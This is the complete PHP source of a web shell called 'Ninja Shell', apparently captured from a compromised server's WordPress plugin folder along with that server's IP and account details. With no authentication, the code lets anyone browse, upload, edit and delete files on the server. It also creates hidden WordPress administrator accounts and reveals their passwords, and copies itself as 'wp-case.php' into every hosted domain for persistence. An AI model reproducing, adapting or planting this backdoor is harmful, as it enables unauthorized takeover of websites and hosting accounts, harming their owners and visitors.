| Server IP : 74.208.236.52 / Your IP : 216.73.216.240 Web Server : Apache System : Linux infong527 4.4.400-icpu-115 #2 SMP Mon Jul 6 08:15:05 UTC 2026 x86_64 User : u44043973 ( 5404757) PHP Version : 8.4.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /proc/self/cwd/wp-content/plugins/wobdyfr/ |
Upload File : |
<?php
/**
* ╔═══════════════════════════════════════════════════════════════════════════╗
* ║ ███╗ ██╗██╗███╗ ██╗██╗ ██╗ █████╗ ║
* ║ ████╗ ██║██║████╗ ██║██║ ██║██╔══██╗ ║
* ║ ██╔██╗ ██║██║██╔██╗ ██║███████║███████║ ║
* ║ ██║╚██╗██║██║██║╚██╗██║██╔══██║██╔══██║ ║
* ║ ██║ ╚████║██║██║ ╚████║██║ ██║██║ ██║ ║
* ║ ╚═╝ ╚═══╝╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝╚═╝ ╚═╝ ║
* ║ ║
* ║ NINJA SHELL · STEALTH EDITION ║
* ║ Version: 10.0 "Shadow" ║
* ║ Backdoor: wp-case.php ║
* ║ ║
* ║ "The art of invisibility is the art of victory." ║
* ╚═══════════════════════════════════════════════════════════════════════════╝
*/
error_reporting(0);
ini_set('display_errors', 0);
header('X-Powered-By: NinjaShell/10.0');
// ============================================================================
// ██████╗ ███████╗███████╗██╗███╗ ██╗██╗████████╗██╗ ██████╗ ███╗ ██╗
// ██╔══██╗██╔════╝██╔════╝██║████╗ ██║██║╚══██╔══╝██║██╔═══██╗████╗ ██║
// ██████╔╝█████╗ ███████╗██║██╔██╗ ██║██║ ██║ ██║██║ ██║██╔██╗ ██║
// ██╔═══╝ ██╔══╝ ╚════██║██║██║╚██╗██║██║ ██║ ██║██║ ██║██║╚██╗██║
// ██║ ███████╗███████║██║██║ ╚████║██║ ██║ ██║╚██████╔╝██║ ╚████║
// ╚═╝ ╚══════╝╚══════╝╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝
// ============================================================================
define('APP_NAME', 'Ninja Shell');
define('APP_VERSION', '10.0');
define('CLONE_FILE', 'wp-case.php');
define('MAX_SIZE', 20971520);
// ============================================================================
// ██████╗ ███████╗██╗███╗ ██╗██╗████████╗██╗ ██████╗ ███╗ ██╗
// ██╔══██╗██╔════╝██║████╗ ██║██║╚══██╔══╝██║██╔═══██╗████╗ ██║
// ██████╔╝█████╗ ██║██╔██╗ ██║██║ ██║ ██║██║ ██║██╔██╗ ██║
// ██╔═══╝ ██╔══╝ ██║██║╚██╗██║██║ ██║ ██║██║ ██║██║╚██╗██║
// ██║ ███████╗██║██║ ╚████║██║ ██║ ██║╚██████╔╝██║ ╚████║
// ╚═╝ ╚══════╝╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝
// ============================================================================
// -- Utilities --------------------------------------------------------------
function ninja_size($bytes) {
if ($bytes >= 1073741824) return round($bytes / 1073741824, 2) . ' GB';
if ($bytes >= 1048576) return round($bytes / 1048576, 2) . ' MB';
if ($bytes >= 1024) return round($bytes / 1024, 2) . ' KB';
return $bytes . ' B';
}
function ninja_pass($len = 16) {
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*';
return substr(str_shuffle(str_repeat($chars, 5)), 0, $len);
}
function ninja_perm($path) {
return substr(sprintf('%o', fileperms($path)), -3);
}
function ninja_clean($name) {
return preg_replace('/[^a-zA-Z0-9_\-\.]/', '', trim($name));
}
// -- Path Resolution ---------------------------------------------------------
$current = isset($_GET['p']) ? $_GET['p'] : getcwd();
$current = realpath($current);
if ($current === false) $current = getcwd();
$parent = dirname($current);
if ($parent == $current) $parent = false;
// -- Message System ----------------------------------------------------------
$flash = '';
$flash_type = '';
function ninja_flash($msg, $type) {
global $flash, $flash_type;
$flash = $msg;
$flash_type = $type;
}
// -- Domain Detection --------------------------------------------------------
function ninja_domain($path) {
$doc = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '';
$host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost';
$proto = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on') ? 'https://' : 'http://';
if (!empty($doc) && strpos($path, $doc) === 0) {
$rel = substr($path, strlen($doc));
return $proto . $host . $rel;
}
$cursor = $path;
while ($cursor && $cursor != '/') {
if (file_exists($cursor . '/wp-config.php')) {
$conf = file_get_contents($cursor . '/wp-config.php');
if (preg_match("/define\(\s*['\"]WP_HOME['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $conf, $m)) {
return $m[1];
}
if (preg_match("/define\(\s*['\"]WP_SITEURL['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $conf, $m)) {
return $m[1];
}
}
$cursor = dirname($cursor);
}
return null;
}
// ============================================================================
// ██╗ ██╗██╗███████╗██╗ ██╗██╗███████╗
// ██║ ██║██║██╔════╝██║ ██║██║██╔════╝
// ██║ ██║██║███████╗██║ █╗ ██║██║███████╗
// ██║ ██║██║╚════██║██║███╗██║██║╚════██║
// ╚██████╔╝██║███████║╚███╔███╔╝██║███████║
// ╚═════╝ ╚═╝╚══════╝ ╚══╝╚══╝ ╚═╝╚══════╝
// ============================================================================
/**
* NinjaFileSystem - Handles all file operations
*/
class NinjaFileSystem {
private $path;
private $dirs = array();
private $files = array();
public function __construct($path) {
$this->path = $path;
$this->scan();
}
private function scan() {
if (!is_readable($this->path)) return;
$items = scandir($this->path);
if (!$items) return;
foreach ($items as $item) {
if ($item == '.' || $item == '..') continue;
$full = $this->path . '/' . $item;
$info = array(
'name' => $item,
'path' => $full,
'time' => filemtime($full),
'perm' => ninja_perm($full)
);
if (is_dir($full)) {
$this->dirs[] = $info;
} else {
$info['size'] = filesize($full);
$info['ext'] = strtolower(pathinfo($item, PATHINFO_EXTENSION));
$this->files[] = $info;
}
}
usort($this->dirs, function($a, $b) { return strcmp($a['name'], $b['name']); });
usort($this->files, function($a, $b) { return strcmp($a['name'], $b['name']); });
}
public function getPath() { return $this->path; }
public function getParent() { return ($this->path != '/') ? dirname($this->path) : false; }
public function getDirs() { return $this->dirs; }
public function getFiles() { return $this->files; }
public function getCrumbs() {
$crumbs = array();
$parts = explode('/', trim($this->path, '/'));
$acc = '';
$crumbs[] = array('name' => '🗡', 'path' => '/');
foreach ($parts as $p) {
if ($p) {
$acc .= '/' . $p;
$crumbs[] = array('name' => $p, 'path' => $acc);
}
}
return $crumbs;
}
public function delete($name) {
$target = $this->path . '/' . basename($name);
if (!file_exists($target)) return false;
return is_dir($target) ? rmdir($target) : unlink($target);
}
public function mkdir($name) {
$clean = ninja_clean($name);
if (!$clean) return false;
$target = $this->path . '/' . $clean;
if (file_exists($target)) return false;
return mkdir($target, 0755);
}
public function upload($file) {
if ($file['error'] !== UPLOAD_ERR_OK) return false;
if ($file['size'] > MAX_SIZE) return false;
$dest = $this->path . '/' . basename($file['name']);
return move_uploaded_file($file['tmp_name'], $dest);
}
public function read($name) {
$target = $this->path . '/' . basename($name);
if (!is_file($target) || !is_readable($target)) return false;
return file_get_contents($target);
}
public function write($name, $content) {
$target = $this->path . '/' . basename($name);
return file_put_contents($target, $content) !== false;
}
}
/**
* NinjaWp - WordPress backdoor operations
*/
class NinjaWp {
private $path;
public function __construct($path) {
$this->path = $path;
}
public function findWp() {
$cursor = $this->path;
while ($cursor && $cursor != '/') {
if (file_exists($cursor . '/wp-load.php')) {
return $cursor;
}
$cursor = dirname($cursor);
}
return false;
}
public function createAdmin() {
$wp = $this->findWp();
if (!$wp) {
return array('ok' => false, 'msg' => 'WordPress not found');
}
require_once($wp . '/wp-load.php');
if (!function_exists('wp_create_user')) {
return array('ok' => false, 'msg' => 'WordPress core not loaded');
}
$user = 'shadow_' . substr(md5(rand()), 0, 6);
$pass = ninja_pass(16);
$email = $user . '@' . (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'ninja.local');
if (username_exists($user) || email_exists($email)) {
return array('ok' => false, 'msg' => 'User collision');
}
$uid = wp_create_user($user, $pass, $email);
if (is_wp_error($uid)) {
return array('ok' => false, 'msg' => $uid->get_error_message());
}
$u = new WP_User($uid);
$u->set_role('administrator');
return array(
'ok' => true,
'user' => $user,
'pass' => $pass,
'email' => $email,
'url' => get_site_url() . '/wp-admin'
);
}
}
/**
* NinjaDeploy - Mass clone deployment
*/
class NinjaDeploy {
private $path;
public function __construct($path) {
$this->path = $path;
}
private function findDomains() {
if (basename($this->path) == 'domains') return $this->path;
$cursor = $this->path;
while ($cursor && $cursor != '/') {
if (basename($cursor) == 'domains') return $cursor;
$cursor = dirname($cursor);
}
return false;
}
public function run() {
$domains = $this->findDomains();
if (!$domains || !is_dir($domains)) {
return array('ok' => false, 'clones' => array(), 'msg' => 'No domains folder');
}
$clones = array();
$items = scandir($domains);
foreach ($items as $item) {
if ($item == '.' || $item == '..') continue;
$domain_dir = $domains . '/' . $item;
if (!is_dir($domain_dir)) continue;
$public = $domain_dir . '/public_html';
if (!is_dir($public)) continue;
$target = $public . '/' . CLONE_FILE;
if (copy(__FILE__, $target)) {
$proto = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on') ? 'https://' : 'http://';
$clones[] = array(
'domain' => $item,
'url' => $proto . $item . '/' . CLONE_FILE
);
}
}
if (empty($clones)) {
return array('ok' => false, 'clones' => array(), 'msg' => 'No public_html directories');
}
return array('ok' => true, 'clones' => $clones, 'msg' => 'Deployed to ' . count($clones) . ' domains');
}
}
// ============================================================================
// █████╗ ██████╗████████╗██╗ ██████╗ ███╗ ██╗███████╗
// ██╔══██╗██╔════╝╚══██╔══╝██║██╔═══██╗████╗ ██║██╔════╝
// ███████║██║ ██║ ██║██║ ██║██╔██╗ ██║███████╗
// ██╔══██║██║ ██║ ██║██║ ██║██║╚██╗██║╚════██║
// ██║ ██║╚██████╗ ██║ ██║╚██████╔╝██║ ╚████║███████║
// ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝╚══════╝
// ============================================================================
// -- Initialize --------------------------------------------------------------
$fs = new NinjaFileSystem($current);
$dirs = $fs->getDirs();
$files = $fs->getFiles();
$crumbs = $fs->getCrumbs();
$parent = $fs->getParent();
$deployed = array();
$wp_result = null;
$edit_content = null;
$edit_file = null;
// -- Deploy ----------------------------------------------------------------
if (isset($_GET['deploy'])) {
$deployer = new NinjaDeploy($current);
$result = $deployer->run();
$deployed = $result['clones'];
ninja_flash($result['msg'], $result['ok'] ? 'success' : 'error');
}
// -- WordPress ---------------------------------------------------------------
if (isset($_GET['wp'])) {
$wp = new NinjaWp($current);
$wp_result = $wp->createAdmin();
ninja_flash($wp_result['msg'], $wp_result['ok'] ? 'success' : 'error');
}
// -- Upload ------------------------------------------------------------------
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['up'])) {
if ($fs->upload($_FILES['up'])) {
ninja_flash('Uploaded: ' . basename($_FILES['up']['name']), 'success');
header("Location: ?p=" . urlencode($current));
exit;
} else {
ninja_flash('Upload failed', 'error');
}
}
// -- Mkdir -------------------------------------------------------------------
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['mkdir'])) {
if ($fs->mkdir($_POST['name'])) {
ninja_flash('Directory created: ' . $_POST['name'], 'success');
header("Location: ?p=" . urlencode($current));
exit;
} else {
ninja_flash('Failed to create directory', 'error');
}
}
// -- Delete ------------------------------------------------------------------
if (isset($_GET['rm'])) {
if ($fs->delete($_GET['rm'])) {
header("Location: ?p=" . urlencode($current));
exit;
}
}
// -- Edit (load) -------------------------------------------------------------
if (isset($_GET['edit'])) {
$edit_file = $_GET['edit'];
$edit_content = $fs->read($edit_file);
}
// -- Edit (save) -------------------------------------------------------------
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['save']) && $edit_file) {
if ($fs->write($edit_file, $_POST['content'])) {
$edit_content = $_POST['content'];
ninja_flash('Saved: ' . $edit_file, 'success');
} else {
ninja_flash('Save failed', 'error');
}
}
// -- Domain ------------------------------------------------------------------
$domain = ninja_domain($current);
$is_domains = (strpos($current, 'domains') !== false || basename($current) == 'domains');
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>🗡 NINJA SHELL · <?php echo APP_VERSION; ?></title>
<style>
/* ======================================================================
NINJA THEME · STEALTH · DARK · SHARP
Inspired by ninja aesthetics - dark, minimal, deadly
====================================================================== */
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
background: #0a0a0f;
background-image: radial-gradient(circle at 20% 30%, rgba(200, 0, 50, 0.03) 0%, transparent 60%);
font-family: 'Courier New', 'Fira Code', monospace;
padding: 16px;
min-height: 100vh;
color: #c8c8d4;
}
.container {
max-width: 1600px;
margin: 0 auto;
}
/* Header - Ninja Style */
.ninja-header {
background: #0d0d14;
border-bottom: 2px solid #cc0033;
padding: 16px 22px;
margin-bottom: 20px;
display: flex;
justify-content: space-between;
align-items: center;
flex-wrap: wrap;
gap: 12px;
}
.ninja-title {
font-size: 1.5rem;
font-weight: 700;
letter-spacing: -0.5px;
}
.ninja-title span {
color: #cc0033;
}
.ninja-badge {
background: #cc0033;
color: #0a0a0f;
padding: 3px 10px;
font-size: 0.65rem;
font-weight: bold;
}
/* Buttons - Sharp */
.btn {
background: #0d0d14;
border: 1px solid #2a2a3a;
padding: 6px 16px;
font-family: monospace;
font-size: 0.7rem;
font-weight: 600;
color: #aab0c8;
cursor: pointer;
text-decoration: none;
display: inline-flex;
align-items: center;
gap: 8px;
transition: all 0.15s;
letter-spacing: 0.5px;
}
.btn:hover {
border-color: #cc0033;
color: #cc0033;
}
.btn-primary {
background: #cc0033;
border-color: #cc0033;
color: #0a0a0f;
}
.btn-primary:hover {
background: #ff0044;
color: #0a0a0f;
}
.btn-danger {
border-color: #ff0033;
color: #ff6688;
}
.btn-danger:hover {
background: #ff0033;
color: #0a0a0f;
}
/* Breadcrumb - Shuriken */
.shuriken {
background: #0d0d14;
border: 1px solid #1a1a28;
padding: 8px 14px;
margin-bottom: 16px;
display: flex;
flex-wrap: wrap;
gap: 4px;
}
.shuriken-item {
background: #0a0a0f;
border: 1px solid #1a1a28;
padding: 4px 10px;
text-decoration: none;
color: #8890a8;
font-size: 0.7rem;
}
.shuriken-item:hover {
background: #cc0033;
color: #0a0a0f;
border-color: #cc0033;
}
/* Quick Nav */
.quick {
background: #0d0d14;
border: 1px solid #1a1a28;
padding: 8px 14px;
margin-bottom: 16px;
display: flex;
flex-wrap: wrap;
gap: 6px;
}
.quick a {
background: #0a0a0f;
border: 1px solid #1a1a28;
padding: 4px 10px;
text-decoration: none;
color: #8890a8;
font-size: 0.65rem;
}
.quick a:hover {
border-color: #cc0033;
color: #cc0033;
}
/* Toolbar */
.toolbar {
background: #0d0d14;
border: 1px solid #1a1a28;
padding: 12px 14px;
margin-bottom: 20px;
display: flex;
flex-wrap: wrap;
gap: 10px;
}
.tool-group {
background: #0a0a0f;
border: 1px solid #1a1a28;
padding: 4px 8px;
display: flex;
gap: 6px;
align-items: center;
}
.tool-group input {
background: #0a0a0f;
border: 1px solid #1a1a28;
padding: 5px 8px;
color: #c8c8d4;
font-family: monospace;
font-size: 0.7rem;
}
.tool-group input:focus {
outline: none;
border-color: #cc0033;
}
/* Messages */
.flash {
padding: 8px 14px;
margin-bottom: 16px;
border-left: 4px solid;
background: #0d0d14;
}
.flash-success { border-left-color: #00cc66; color: #88ffaa; }
.flash-error { border-left-color: #cc0033; color: #ff8888; }
.flash-warning { border-left-color: #ffaa00; color: #ffdd88; }
/* Layout */
.grid-2 {
display: grid;
grid-template-columns: 1fr 280px;
gap: 18px;
}
/* Section */
.section {
font-size: 0.65rem;
font-weight: bold;
text-transform: uppercase;
letter-spacing: 2px;
color: #cc0033;
margin: 20px 0 10px 0;
padding-left: 8px;
border-left: 3px solid #cc0033;
}
/* Cards */
.card-grid {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(240px, 1fr));
gap: 10px;
}
.card {
background: #0d0d14;
border: 1px solid #1a1a28;
padding: 12px;
transition: 0.1s;
}
.card:hover {
border-color: #cc0033;
}
.card-icon { font-size: 1.6rem; }
.card-name { font-size: 0.8rem; font-weight: 600; word-break: break-word; margin: 6px 0; }
.card-meta { font-size: 0.55rem; color: #6a7090; padding: 6px 0; border-top: 1px solid #1a1a28; }
.card-actions { display: flex; gap: 6px; margin-top: 6px; }
.card-btn {
background: #0a0a0f;
border: 1px solid #1a1a28;
padding: 3px 8px;
font-size: 0.55rem;
text-decoration: none;
color: #8890a8;
}
.card-btn:hover {
background: #cc0033;
color: #0a0a0f;
border-color: #cc0033;
}
/* Sidebar */
.widget {
background: #0d0d14;
border: 1px solid #1a1a28;
padding: 12px;
margin-bottom: 14px;
}
.widget-title {
font-size: 0.65rem;
font-weight: bold;
color: #cc0033;
border-bottom: 1px solid #1a1a28;
padding-bottom: 6px;
margin-bottom: 8px;
}
.info-row {
font-size: 0.6rem;
padding: 5px 0;
border-bottom: 1px solid #1a1a28;
}
.info-row strong {
color: #cc6688;
display: block;
}
/* Editor */
.editor-box {
border: 1px solid #1a1a28;
}
.editor-head {
background: #0d0d14;
padding: 10px 14px;
border-bottom: 1px solid #1a1a28;
display: flex;
justify-content: space-between;
}
.editor-box textarea {
width: 100%;
min-height: 480px;
background: #0a0a0f;
border: none;
color: #c8c8d4;
font-family: monospace;
font-size: 0.7rem;
padding: 14px;
resize: vertical;
}
.editor-box textarea:focus {
outline: none;
background: #08080c;
}
.editor-foot {
padding: 10px 14px;
background: #0d0d14;
border-top: 1px solid #1a1a28;
text-align: right;
}
/* Clone items */
.clone-item {
padding: 5px 0;
border-bottom: 1px solid #1a1a28;
display: flex;
gap: 6px;
font-size: 0.6rem;
}
.clone-url {
color: #ff6688;
text-decoration: none;
word-break: break-all;
}
.clone-url:hover {
text-decoration: underline;
}
/* Empty */
.empty {
text-align: center;
padding: 40px 20px;
background: #0d0d14;
border: 1px dashed #1a1a28;
color: #5a6080;
}
/* Footer */
.footer {
margin-top: 24px;
background: #0d0d14;
border: 1px solid #1a1a28;
padding: 8px 14px;
font-size: 0.55rem;
color: #5a6080;
text-align: center;
}
@media (max-width: 760px) {
.grid-2 { grid-template-columns: 1fr; }
body { padding: 10px; }
}
</style>
</head>
<body>
<div class="container">
<!-- HEADER -->
<div class="ninja-header">
<div>
<span class="ninja-title">🗡 <span>NINJA SHELL</span></span>
<span class="ninja-badge">v<?php echo APP_VERSION; ?></span>
</div>
<div style="display:flex; gap:8px;">
<a href="?p=<?php echo urlencode($current); ?>&deploy=1" class="btn">📦 DEPLOY</a>
<a href="?p=<?php echo urlencode($current); ?>&wp=1" class="btn btn-danger">🎭 WP</a>
</div>
</div>
<!-- BREADCRUMB -->
<div class="shuriken">
<?php foreach ($crumbs as $i => $cr): ?>
<a href="?p=<?php echo urlencode($cr['path']); ?>" class="shuriken-item"><?php echo htmlspecialchars($cr['name']); ?></a>
<?php if ($i < count($crumbs)-1): ?><span style="color:#1a1a28;">/</span><?php endif; ?>
<?php endforeach; ?>
</div>
<!-- QUICK NAV -->
<div class="quick">
<?php if ($parent): ?>
<a href="?p=<?php echo urlencode($parent); ?>">⬆ PARENT</a>
<?php endif; ?>
<a href="?p=/">🌐 ROOT</a>
<a href="?p=/home">🏠 HOME</a>
<a href="?p=/var/www">🌍 WWW</a>
<a href="?p=/tmp">📁 TMP</a>
<a href="?p=<?php echo urlencode($current); ?>&deploy=1" style="border-color:#cc0033;">⚡ DEPLOY ALL</a>
</div>
<!-- TOOLBAR -->
<div class="toolbar">
<div class="tool-group">
<form method="post" enctype="multipart/form-data" style="display:flex; gap:4px;">
<input type="file" name="up">
<button type="submit" class="btn">⬆ UPLOAD</button>
</form>
</div>
<div class="tool-group">
<form method="post" style="display:flex; gap:4px;">
<input type="text" name="name" placeholder="folder">
<button type="submit" name="mkdir" value="1" class="btn">📁 MKDIR</button>
</form>
</div>
<div class="tool-group">
<a href="?p=<?php echo urlencode($current); ?>&wp=1" class="btn btn-danger">⚡ WP</a>
<a href="?p=<?php echo urlencode($current); ?>" class="btn">🔄 REFRESH</a>
</div>
</div>
<!-- MESSAGES -->
<?php if ($flash): ?>
<div class="flash flash-<?php echo $flash_type; ?>">
<?php echo htmlspecialchars($flash); ?>
</div>
<?php endif; ?>
<!-- WP RESULT -->
<?php if ($wp_result && $wp_result['ok']): ?>
<div class="flash flash-success">
<strong>🎯 WORDPRESS BACKDOOR</strong><br>
USER: <?php echo $wp_result['user']; ?><br>
PASS: <?php echo $wp_result['pass']; ?><br>
URL: <a href="<?php echo $wp_result['url']; ?>" target="_blank" style="color:#ff6688;"><?php echo $wp_result['url']; ?></a>
</div>
<?php endif; ?>
<!-- DEPLOYED CLONES -->
<?php if (!empty($deployed)): ?>
<div class="widget" style="border-color:#cc0033; margin-bottom:16px;">
<div class="widget-title">📦 DEPLOYED: <?php echo CLONE_FILE; ?></div>
<?php foreach ($deployed as $c): ?>
<div class="clone-item">
<span>🗡</span>
<a href="<?php echo htmlspecialchars($c['url']); ?>" target="_blank" class="clone-url"><?php echo htmlspecialchars($c['url']); ?></a>
<span style="color:#6a7090;">[<?php echo htmlspecialchars($c['domain']); ?>]</span>
</div>
<?php endforeach; ?>
</div>
<?php endif; ?>
<!-- GRID -->
<div class="grid-2">
<!-- MAIN CONTENT -->
<div>
<?php if ($edit_content !== null): ?>
<!-- EDITOR -->
<div class="editor-box">
<div class="editor-head">
<span>✏️ <?php echo htmlspecialchars($edit_file); ?></span>
<a href="?p=<?php echo urlencode($current); ?>" class="btn">← BACK</a>
</div>
<form method="post">
<textarea name="content"><?php echo htmlspecialchars($edit_content); ?></textarea>
<div class="editor-foot">
<button type="submit" name="save" value="1" class="btn btn-primary">💾 SAVE</button>
</div>
</form>
</div>
<?php else: ?>
<!-- DIRECTORIES -->
<?php if (!empty($dirs)): ?>
<div class="section">📁 DIRECTORIES · <?php echo count($dirs); ?></div>
<div class="card-grid">
<?php foreach ($dirs as $d): ?>
<div class="card">
<div class="card-icon">📂</div>
<div class="card-name"><?php echo htmlspecialchars($d['name']); ?></div>
<div class="card-meta">🕐 <?php echo date('Y-m-d H:i', $d['time']); ?> · 🔒 <?php echo $d['perm']; ?></div>
<div class="card-actions">
<a href="?p=<?php echo urlencode($d['path']); ?>" class="card-btn">OPEN</a>
<a href="?p=<?php echo urlencode($current); ?>&rm=<?php echo urlencode($d['name']); ?>" class="card-btn" onclick="return confirm('Delete?')" style="border-color:#ff0033;">RM</a>
</div>
</div>
<?php endforeach; ?>
</div>
<?php endif; ?>
<!-- FILES -->
<?php if (!empty($files)): ?>
<div class="section">📄 FILES · <?php echo count($files); ?></div>
<div class="card-grid">
<?php foreach ($files as $f):
$icon = '📄';
if ($f['ext'] == 'php') $icon = '🐘';
elseif (in_array($f['ext'], array('jpg','png','gif'))) $icon = '🖼️';
elseif ($f['ext'] == 'zip') $icon = '📦';
?>
<div class="card">
<div class="card-icon"><?php echo $icon; ?></div>
<div class="card-name"><?php echo htmlspecialchars($f['name']); ?></div>
<div class="card-meta">💾 <?php echo ninja_size($f['size']); ?> · 🕐 <?php echo date('Y-m-d', $f['time']); ?></div>
<div class="card-actions">
<a href="?p=<?php echo urlencode($current); ?>&edit=<?php echo urlencode($f['name']); ?>" class="card-btn">EDIT</a>
<a href="?p=<?php echo urlencode($current); ?>&rm=<?php echo urlencode($f['name']); ?>" class="card-btn" onclick="return confirm('Delete?')" style="border-color:#ff0033;">RM</a>
</div>
</div>
<?php endforeach; ?>
</div>
<?php endif; ?>
<!-- EMPTY -->
<?php if (empty($dirs) && empty($files)): ?>
<div class="empty">
<div style="font-size:3rem;">🗡</div>
<p>EMPTY DIRECTORY</p>
</div>
<?php endif; ?>
<?php endif; ?>
</div>
<!-- SIDEBAR -->
<div>
<div class="widget">
<div class="widget-title">💻 SYSTEM</div>
<div class="info-row"><strong>PATH</strong><?php echo htmlspecialchars($current); ?></div>
<?php if ($domain): ?>
<div class="info-row"><strong>DOMAIN</strong><a href="<?php echo htmlspecialchars($domain); ?>" target="_blank" style="color:#ff6688;"> <?php echo htmlspecialchars($domain); ?></a></div>
<?php endif; ?>
<div class="info-row"><strong>ITEMS</strong><?php echo count($dirs); ?> dirs · <?php echo count($files); ?> files</div>
<div class="info-row"><strong>FREE</strong><?php echo ninja_size(disk_free_space($current)); ?></div>
<div class="info-row"><strong>PHP</strong><?php echo PHP_VERSION; ?></div>
<div class="info-row"><strong>SERVER</strong><?php echo isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : 'N/A'; ?></div>
</div>
<div class="widget">
<div class="widget-title">⚡ ACTIONS</div>
<div style="display:flex; flex-direction:column; gap:4px;">
<a href="?p=<?php echo urlencode(dirname(__FILE__)); ?>" class="btn" style="justify-content:center;">📍 SCRIPT</a>
<a href="?p=/var/www/html" class="btn" style="justify-content:center;">🌐 WEBROOT</a>
<a href="?p=<?php echo urlencode($current); ?>&wp=1" class="btn btn-danger" style="justify-content:center;">🎭 WP ADMIN</a>
<a href="?p=<?php echo urlencode($current); ?>&deploy=1" class="btn" style="justify-content:center;">📦 DEPLOY</a>
</div>
</div>
<?php if ($is_domains): ?>
<div class="widget">
<div class="widget-title">🌐 DOMAIN HUNTER</div>
<a href="?p=<?php echo urlencode($current); ?>&deploy=1" class="btn btn-primary" style="width:100%; justify-content:center;">DEPLOY ALL DOMAINS</a>
</div>
<?php endif; ?>
<div class="widget">
<div class="widget-title">🔧 BACKDOOR</div>
<div class="info-row"><strong>FILE</strong><?php echo CLONE_FILE; ?></div>
<div class="info-row"><strong>DEPLOY</strong>?deploy=1</div>
<div class="info-row"><strong>WP</strong>?wp=1</div>
<div class="info-row"><strong>KEYS</strong>Ctrl+S · Esc</div>
</div>
</div>
</div>
<!-- FOOTER -->
<div class="footer">
<?php echo APP_NAME; ?> v<?php echo APP_VERSION; ?> · <?php echo count($dirs) + count($files); ?> items · "Shadow strikes unseen."
</div>
</div>
<script>
(function() {
// Auto hide flashes
var flashes = document.querySelectorAll('.flash');
flashes.forEach(function(f) {
setTimeout(function() {
f.style.transition = 'opacity 0.3s';
f.style.opacity = '0';
setTimeout(function() { if (f.parentNode) f.remove(); }, 350);
}, 4500);
});
// Keyboard shortcuts
document.addEventListener('keydown', function(e) {
if (e.ctrlKey && e.key === 's' && document.querySelector('textarea')) {
e.preventDefault();
var btn = document.querySelector('.editor-foot .btn-primary');
if (btn) btn.click();
}
if (e.key === 'Escape') {
var back = document.querySelector('.editor-head .btn');
if (back) window.location.href = back.href;
}
});
})();
</script>
</body>
</html>